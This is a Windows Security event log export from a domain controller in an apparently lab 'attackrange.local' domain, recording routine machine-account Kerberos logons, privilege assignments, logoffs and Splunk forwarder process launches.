TaskCategory=Logoff
OpCode=Info
RecordNumber=252154
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1513F7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252153
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1513F7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64604

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252152
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1513F7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252151
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151396

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252150
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151396
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64603

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252149
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151396

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252148
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151330

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252147
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151330
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64602

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252146
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151330

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252145
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1512CF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252144
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1512CF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64601

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252143
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1512CF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252142
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11bc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252141
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252140
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252139
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252138
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1228
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x113c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal pre-flight-checks --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252137
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252136
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8dc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13a0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252171
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151F96

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252170
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151F96
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64608

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252169
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151F96

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252168
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151F35

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
